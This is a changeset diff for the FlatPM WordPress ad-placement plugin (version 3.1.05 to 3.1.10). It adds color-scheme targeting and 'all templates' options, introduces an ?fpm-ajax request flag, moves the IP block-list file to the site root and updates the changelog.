_e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_search()"><?php _e( 'search page', 'flatpm_l10n' ); ?></ins></span> … … 399 426 <label> 400 427 <input type="checkbox" name="content[templates][404]" 401 <?php if( $content['templates']['404'] === 'true' ) echo 'checked'; ?>428 <?php if( $content['templates']['404'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 402 429 > 403 430 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_404()"><?php _e( 'page 404 errors', 'flatpm_l10n' ); ?></ins></span> … … 409 436 <label> 410 437 <input type="checkbox" name="content[templates][paged]" 411 <?php if( $content['templates']['paged'] === 'true' ) echo 'checked'; ?>438 <?php if( $content['templates']['paged'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 412 439 > 413 440 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_paged()"><?php _e( 'pagination page', 'flatpm_l10n' ); ?></ins></span> -
flatpm-wp/trunk/path/folders/edit/user.php
r3019186 r3021164 32 32 ); 33 33 34 $colorSchemes = array( 35 'light' => __( 'Light theme', 'flatpm_l10n' ), 36 'dark' => __( 'Dark theme', 'flatpm_l10n' ), 37 ); 38 34 39 global $wp_roles; 35 40 ?> … … 177 182 <?php _e( 'Yandex.Zen', 'flatpm_l10n' ); ?> 178 183 </button> 179 <button type="button" data-value="toloka. ">184 <button type="button" data-value="toloka.<?php echo PHP_EOL ?>iframe-yang.yandex<?php echo PHP_EOL ?>factorial-eval.s3.yandex.net"> 180 185 <?php _e( 'Tolokers', 'flatpm_l10n' ); ?> 181 186 </button> … … 209 214 <?php _e( 'Yandex.Zen', 'flatpm_l10n' ); ?> 210 215 </button> 211 <button type="button" data-value="toloka. ">216 <button type="button" data-value="toloka.<?php echo PHP_EOL ?>iframe-yang.yandex<?php echo PHP_EOL ?>factorial-eval.s3.yandex.net"> 212 217 <?php _e( 'Tolokers', 'flatpm_l10n' ); ?> 213 218 </button> … … 710 715 </li> 711 716 712 <li <?php if( isset( $flat_pm_personalization[' block']['language'] ) && $flat_pm_personalization['block']['language'] === 'false' ){ echo 'style="display:none"'; } ?>>717 <li <?php if( isset( $flat_pm_personalization['folder']['language'] ) && $flat_pm_personalization['folder']['language'] === 'false' ){ echo 'style="display:none"'; } ?>> 713 718 <div class="collapsible-header"> 714 719 <b><?php _e( 'Browser language:', 'flatpm_l10n' ); ?></b> … … 763 768 </li> 764 769 770 <li <?php if( isset( $flat_pm_personalization['folder']['color-scheme'] ) && $flat_pm_personalization['folder']['color-scheme'] === 'false' ){ echo 'style="display:none"'; } ?>> 771 <div class="collapsible-header"> 772 <b><?php _e( 'Browser color-scheme:', 'flatpm_l10n' ); ?></b> 773 <span class="badge"></span> 774 </div> 775 <div class="collapsible-body"> 776 <div class="switch"> 777 <label> 778 Off 779 <input class="hidden" type="checkbox" name="user[color-scheme][enabled]" <?php if( isset( $user['color-scheme'] ) && $user['color-scheme']['enabled'] === 'true') echo 'checked'; ?>> 780 <span class="lever"></span> 781 On 782 </label> 783 </div> 784 785 <br> 786 787 <div class="row" style="margin-bottom:0"> 788 <div class="input-field col s12 m6"> 789 <select multiple name="user[color-scheme][allow]" id="user_color-scheme_allow"> 790 <option value="" disabled><?php _e( 'Select color scheme', 'flatpm_l10n' ); ?></option> 791 <?php 792 if( !empty( $user['color-scheme']['allow'] ) && is_array( $user['color-scheme']['allow'] ) ){ 793 foreach( $colorSchemes as $key => $value ){ 794 $selected = ( in_array( $key , $user['color-scheme']['allow'] ) ) ? 'selected' : ''; 795 796 echo '<option ' . esc_attr( $selected ) . ' value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 797 } 798 }else{ 799 foreach( $colorSchemes as $key => $value ){ 800 echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 801 } 802 } 803 ?> 804 </select> 805 <label><?php _e( 'Show from:', 'flatpm_l10n' ); ?></label> 806 </div> 807 808 <div class="input-field col s12 m6"> 809 <select multiple name="user[color-scheme][disallow]" id="user_color-scheme_disallow"> 810 <option value="" disabled><?php _e( 'Select color scheme', 'flatpm_l10n' ); ?></option> 811 <?php 812 if( !empty( $user['color-scheme']['disallow'] ) && is_array( $user['color-scheme']['disallow'] ) ){ 813 foreach( $colorSchemes as $key => $value ){ 814 $selected = ( in_array( $key , $user['color-scheme']['disallow'] ) ) ? 'selected' : ''; 815 816 echo '<option ' . esc_attr( $selected ) . ' value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 817 } 818 }else{ 819 foreach( $colorSchemes as $key => $value ){ 820 echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 821 } 822 } 823 ?> 824 </select> 825 <label><?php _e( 'Hide from:', 'flatpm_l10n' ); ?></label> 826 </div> 827 </div> 828 </div> 829 </li> 830 765 831 <li <?php if( $flat_pm_personalization['folder']['ip'] === 'false' ){ echo 'style="display:none"'; } ?>> 766 832 <div class="collapsible-header"> -
flatpm-wp/trunk/path/functions/ajax-handlers/settings/blacklist_ip.php
r3019186 r3021164 7 7 if( !function_exists( 'flat_pm_blacklist_ip_update' ) ){ 8 8 function flat_pm_blacklist_ip_update( $method, $meta ){ 9 $file = FLATPM_UPLOADS_DIR . '/fpm/ip.html';9 $file = ABSPATH . 'ip.html'; 10 10 11 11 file_put_contents( $file, $meta['ip'] ); … … 15 15 'data' => array( 16 16 'message' => '<i class="material-icons">check</i> ' . __( 'Settings updated', 'flatpm_l10n' ), 17 'status' => 'success' 17 'status' => 'success', 18 18 ) 19 19 ) ) ); -
flatpm-wp/trunk/path/functions/flat-core.php
r3019186 r3021164 478 478 } 479 479 480 if( ! function_exists( 'wp_doing_ajax' ) ){ 481 function wp_doing_ajax() { 482 return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); 480 if( ! function_exists( 'flat_pm_doing_ajax' ) ){ 481 function flat_pm_doing_ajax() { 482 if( isset( $_GET['fpm-ajax'] ) ){ 483 return true; 484 } 485 486 return defined( 'DOING_AJAX' ) && DOING_AJAX; 483 487 } 484 488 } … … 711 715 $output = '<span style="display:none" class="fpm-short-' . esc_attr( $args['id'] ) . '"></span>'; 712 716 713 if( wp_doing_ajax() && ! $fpm_the_content_in_process ){714 $output .= flat_pm_filter_content( $ mode = 'ajax', array( (int) $args['id'] ) );717 if( flat_pm_doing_ajax() && ! $fpm_the_content_in_process ){ 718 $output .= flat_pm_filter_content( $content = '', $mode = 'ajax', array( (int) $args['id'] ) ); 715 719 } 716 720 -
flatpm-wp/trunk/path/functions/flat-filter_content.php
r3019186 r3021164 45 45 46 46 if( ! function_exists( 'flat_pm_filter_content' ) ){ 47 function flat_pm_filter_content( $ mode = 'default', $ids = array() ){48 if( is_feed() ) return ;47 function flat_pm_filter_content( $content, $mode = 'default', $ids = array() ){ 48 if( is_feed() ) return $content; 49 49 50 50 $exclude_block = 'yes'; 51 51 52 if( wp_doing_ajax() ){52 if( flat_pm_doing_ajax() ){ 53 53 global $post; 54 54 … … 202 202 if( 203 203 $block_meta['turned'] === 'false' || 204 wp_doing_ajax() &&204 flat_pm_doing_ajax() && 205 205 $block_meta['view']['once']['enabled'] !== 'true' && 206 206 $block_meta['view']['iterable']['enabled'] !== 'true' && … … 477 477 */ 478 478 479 foreach( array( 'browser', 'os', ' role' ) as $key ){479 foreach( array( 'browser', 'os', 'color-scheme', 'role' ) as $key ){ 480 480 if( $filtered && $folder_meta['user'][ $key ]['enabled'] === 'true' ){ 481 481 $block_meta['user'][ $key ]['enabled'] = 'true'; … … 613 613 614 614 615 616 $is_all_templates = isset( $block_meta['content']['templates']['all_templates'] ) && $block_meta['content']['templates']['all_templates'] !== 'false'; 617 $is_all_post_types = isset( $block_meta['content']['post_types']['all_post_types'] ) && $block_meta['content']['post_types']['all_post_types'] !== 'false'; 615 618 616 619 if( $mode !== 'ajax' ){ … … 623 626 if( 624 627 ( 625 $we_are_hear == 'is_home' &&626 $block_meta['content']['templates']['home'] === 'false'627 ) ||628 (629 $we_are_hear == 'is_404' &&630 $block_meta['content']['templates']['404'] === 'false'631 ) ||632 (633 $we_are_hear == 'is_search' &&634 $block_meta['content']['templates']['home'] === 'false'635 ) ||636 (637 is_paged() &&638 $block_meta['content']['templates']['paged'] === 'false'639 ) ||640 (641 $we_are_hear == 'is_archive' &&642 628 ( 643 $block_meta['content']['templates']['archives'] === 'false' || 629 $we_are_hear == 'is_home' && 630 $block_meta['content']['templates']['home'] === 'false' 631 ) || 632 ( 633 $we_are_hear == 'is_404' && 634 $block_meta['content']['templates']['404'] === 'false' 635 ) || 636 ( 637 $we_are_hear == 'is_search' && 638 $block_meta['content']['templates']['home'] === 'false' 639 ) || 640 ( 641 is_paged() && 642 $block_meta['content']['templates']['paged'] === 'false' 643 ) || 644 ( 645 $we_are_hear == 'is_archive' && 644 646 ( 645 isset( $block_meta['content']['post_types'][ $post_type_name ] ) && 646 $block_meta['content']['post_types'][ $post_type_name ] === 'false' 647 $block_meta['content']['templates']['archives'] === 'false' || 648 ( 649 isset( $block_meta['content']['post_types'][ $post_type_name ] ) && 650 $block_meta['content']['post_types'][ $post_type_name ] === 'false' 651 ) 647 652 ) 648 653 ) 649 ) 654 ) && ! $is_all_templates 650 655 ) continue; 651 656 … … 659 664 660 665 if( $we_are_hear == 'is_tax' ){ 661 if( $block_meta['content']['templates']['categories'] === 'false' ){666 if( $block_meta['content']['templates']['categories'] === 'false' && ! $is_all_templates ){ 662 667 continue; 663 668 }else{ … … 687 692 ( 688 693 ( 689 $block_meta['content']['templates']['singular'] === 'false' || 690 ! isset( $block_meta['content']['post_types'][ $post_type ] ) || 691 $block_meta['content']['post_types'][ $post_type ] === 'false' 694 ( $block_meta['content']['templates']['singular'] === 'false' && ! $is_all_templates ) || 695 ( 696 ( 697 ! isset( $block_meta['content']['post_types'][ $post_type ] ) || 698 $block_meta['content']['post_types'][ $post_type ] === 'false' 699 ) && ! $is_all_post_types 700 ) 692 701 ) || 693 702 ( … … 703 712 if( 704 713 $we_are_hear == 'is_single' && 705 $block_meta['content']['templates']['singular'] === 'true' && 706 isset( $block_meta['content']['post_types'][ $post_type ] ) && 707 $block_meta['content']['post_types'][ $post_type ] === 'true' 714 ( 715 $block_meta['content']['templates']['singular'] === 'true' && ! $is_all_templates 716 ) && 717 ( 718 isset( $block_meta['content']['post_types'][ $post_type ] ) && 719 $block_meta['content']['post_types'][ $post_type ] === 'true' || 720 $is_all_post_types 721 ) 708 722 ){ 709 723 $bool_out = false; … … 788 802 789 803 790 if( wp_doing_ajax() ){804 if( flat_pm_doing_ajax() ){ 791 805 $output = '<!--noptimize-->'; 792 806 }else{ … … 805 819 $flat_pm_header_footer[ 'header_deffered' ] === 'true' && 806 820 ! empty( $flat_pm_header_footer[ 'header_code' ] ) && 807 ! wp_doing_ajax()821 ! flat_pm_doing_ajax() 808 822 ){ 809 823 $header_output = array( … … 833 847 window.fpm_arr = window.fpm_arr.concat(' . wp_json_encode( $header_output, JSON_UNESCAPED_UNICODE ) . ');'; 834 848 835 if( wp_doing_ajax() ){849 if( flat_pm_doing_ajax() ){ 836 850 $output .= wp_get_inline_script_tag( $javascript, array( 'data-noptimize' => '', 'data-wpfc-render' => 'false' ) ); 837 851 }else{ … … 856 870 857 871 return wp_get_inline_script_tag( $javascript, array( 'data-noptimize' => '', 'data-wpfc-render' => 'false' ) ); 858 }elseif( wp_doing_ajax() ){872 }elseif( flat_pm_doing_ajax() ){ 859 873 $output .= wp_get_inline_script_tag( $javascript, array( 'data-noptimize' => '', 'data-wpfc-render' => 'false' ) ); 860 874 }else{ … … 874 888 $flat_pm_header_footer[ 'footer_deffered' ] === 'true' && 875 889 ! empty( $flat_pm_header_footer[ 'footer_code' ] ) && 876 ! wp_doing_ajax()890 ! flat_pm_doing_ajax() 877 891 ){ 878 892 $footer_output = array( … … 902 916 window.fpm_arr = window.fpm_arr.concat(' . wp_json_encode( $footer_output, JSON_UNESCAPED_UNICODE ) . ');'; 903 917 904 if( wp_doing_ajax() ){918 if( flat_pm_doing_ajax() ){ 905 919 $output .= $javascript; 906 920 }else{ … … 927 941 !function(){var a=' . esc_html( $flat_pm_pagespeed['deffered'] ) . ',r="' . esc_html( $flat_pm_pagespeed['deffered_events'] ) . '".trim().split(" "),o=' . esc_html( $flat_pm_pagespeed['timeout'] ) . ',i=' . esc_html( $flat_pm_pagespeed['timeout_time'] ) . ';("loading"===document.readyState?document.addEventListener("readystatechange",function(t){var e,n;a||o||"interactive"!==t.target.readyState||fpm_start(),(a||o)&&"interactive"===t.target.readyState&&(a&&(n=function(){fpm_start(),clearTimeout(e),r.forEach(function(t){document.removeEventListener(t,n)})},r.forEach(function(t){document.addEventListener(t,n)})),o&&(e=setTimeout(function(){fpm_start(),r.forEach(function(t){document.removeEventListener(t,n)})},i)))}):fpm_start())}();'; 928 942 929 if( wp_doing_ajax() ){943 if( flat_pm_doing_ajax() ){ 930 944 $output .= wp_get_inline_script_tag( $javascript, array( 'data-noptimize' => '', 'data-wpfc-render' => 'false' ) ); 931 945 }else{ … … 933 947 } 934 948 935 if( wp_doing_ajax() ){949 if( flat_pm_doing_ajax() ){ 936 950 $output .= '<!--/noptimize-->'; 937 951 }else{ … … 940 954 941 955 942 if( wp_doing_ajax() ){956 if( flat_pm_doing_ajax() ){ 943 957 return $content . PHP_EOL . $output; 944 958 } … … 951 965 952 966 953 if( wp_doing_ajax() ){967 if( flat_pm_doing_ajax() ){ 954 968 add_filter( 'the_content', 'flat_pm_filter_content', FLATPM_INT_MAX ); 955 969 … … 969 983 970 984 $flat_pm_advanced = get_option( 'flat_pm_advanced' ); 971 if( ! is_admin() && $flat_pm_advanced['fast_start'] === 'true' ){985 if( ! is_admin() && ! flat_pm_doing_ajax() && $flat_pm_advanced['fast_start'] === 'true' ){ 972 986 add_filter( 'the_content', 'flat_pm_pre_filter_content_fastStart', 10 ); 973 987 } 974 988 975 if( ! is_admin() && isset( $flat_pm_advanced['fast_start_term'] ) && $flat_pm_advanced['fast_start_term'] === 'true' ){989 if( ! is_admin() && ! flat_pm_doing_ajax() && isset( $flat_pm_advanced['fast_start_term'] ) && $flat_pm_advanced['fast_start_term'] === 'true' ){ 976 990 add_filter( 'term_description', 'flat_pm_pre_filter_content_fastStart', 10 ); 977 991 } -
flatpm-wp/trunk/path/functions/flat-header_footer.php
r3019186 r3021164 30 30 } 31 31 32 flat_pm_filter_content( $ mode = 'shortcode' );32 flat_pm_filter_content( $content = '', $mode = 'shortcode' ); 33 33 } 34 34 } -
flatpm-wp/trunk/path/functions/flat-scripts.php
r3019186 r3021164 30 30 'bottom' => ! empty( $flat_pm_advanced['sidebar_bottom'] ) ? $flat_pm_advanced['sidebar_bottom'] : '0', 31 31 'ajaxUrl' => admin_url( 'admin-ajax.php' ), 32 'ip_to_block' => FLATPM_UPLOADS_URL . '/fpm/ip.html',32 'ip_to_block' => get_home_url() . '/ip.html', 33 33 'get_ip' => FLATPM_URL . 'ip.php', 34 34 'speed' => $flat_pm_stylization['outgoing']['speed'], -
flatpm-wp/trunk/path/migrates/migrate_3_1_0.php
r3019186 r3021164 4 4 } 5 5 6 $fpm_migrate_3_1_0 = get_option( 'fpm_migrate_3_1_0' ); 7 if( ! $fpm_migrate_3_1_0 ){ 8 $old_txt = ABSPATH . '/ip.txt'; 6 $fpm_migrate_3_1_06 = get_option( 'fpm_migrate_3_1_06' ); 7 if( ! $fpm_migrate_3_1_06 ){ 9 8 10 mkdir( FLATPM_UPLOADS_DIR . '/fpm', 0700);9 $upload_dir = wp_get_upload_dir(); 11 10 11 $old_txt = ABSPATH . 'ip.txt'; 12 12 if( file_exists( $old_txt ) ){ 13 13 $content = file_get_contents( $old_txt ); 14 14 15 file_put_contents( FLATPM_UPLOADS_DIR . '/fpm/ip.html', $content );15 file_put_contents( ABSPATH . 'ip.html', $content ); 16 16 17 17 unlink( $old_txt ); 18 18 } 19 19 20 update_option( 'fpm_migrate_3_1_0', true ); 20 21 $old_txt = $upload_dir['basedir'] . '/fpm/ip.txt'; 22 if( file_exists( $old_txt ) ){ 23 $content = file_get_contents( $old_txt ); 24 25 file_put_contents( ABSPATH . 'ip.html', $content ); 26 27 unlink( $old_txt ); 28 } 29 30 // update_option( 'fpm_migrate_3_1_06', true ); 21 31 } -
flatpm-wp/trunk/path/settings/block_ip.php
r3019186 r3021164 4 4 } 5 5 6 $ips = file_get_contents( FLATPM_UPLOADS_DIR . '/fpm/ip.html' );6 $ips = file_get_contents( ABSPATH . 'ip.html' ); 7 7 ?> 8 8 <main class="row"> … … 28 28 <div class="col s12 m8"> 29 29 <p><?php _e( 'Enter each ip address on a new line. <br>Targeting is enabled in the block settings, for each one individually, or in the folder settings.', 'flatpm_l10n' ); ?></p> 30 <p><?php _e( 'The entire list is saved not in the database, but in a file', 'flatpm_l10n' ); ?> <code><?php echo FLATPM_UPLOADS_DIR; ?>/fpm/ip.html</code></p>30 <p><?php _e( 'The entire list is saved not in the database, but in a file', 'flatpm_l10n' ); ?> <code><?php echo ABSPATH; ?>ip.html</code></p> 31 31 <p> 32 32 <?php _e( 'You can also use a range for the IP address, for example:', 'flatpm_l10n' ); ?> <b>37.146.224.0-37.146.224.255</b><br> -
flatpm-wp/trunk/readme.txt
r3019489 r3021164 5 5 * Requires at least: 5.9 6 6 * Tested up to: 6.4.2 7 * Stable tag: 3.1. 057 * Stable tag: 3.1.10 8 8 * Requires PHP: 5.6 9 9 * License: GPLv3 … … 105 105 ## Changelog ## 106 106 107 ### 3.1.10 ### 108 1. Fixed bug with GEO detection. 109 2. Added targeting by browser color scheme. 110 3. Added a special get parameter for sites with infinite loading, now you just need to add ?fpm-ajax for your links. 111 4. In User Targeting I made smart toggles. If you start filling in fields inside, the toggle will turn on automatically, and if the fields are blank, it will turn off. 112 5. In Output options I added a checkbox to enable all record types and templates at once. 113 6. Now the referrer is additionally taken from utm_referrer if it is present in the link. This will be useful for owners of Antibot, which prevents referrer detection due to captcha padding. 114 7. Design edits in the admin area. 115 107 116 ### 3.1.05 ### 108 117 **Fixes:**
Note: See TracChangeset
for help on using the changeset viewer.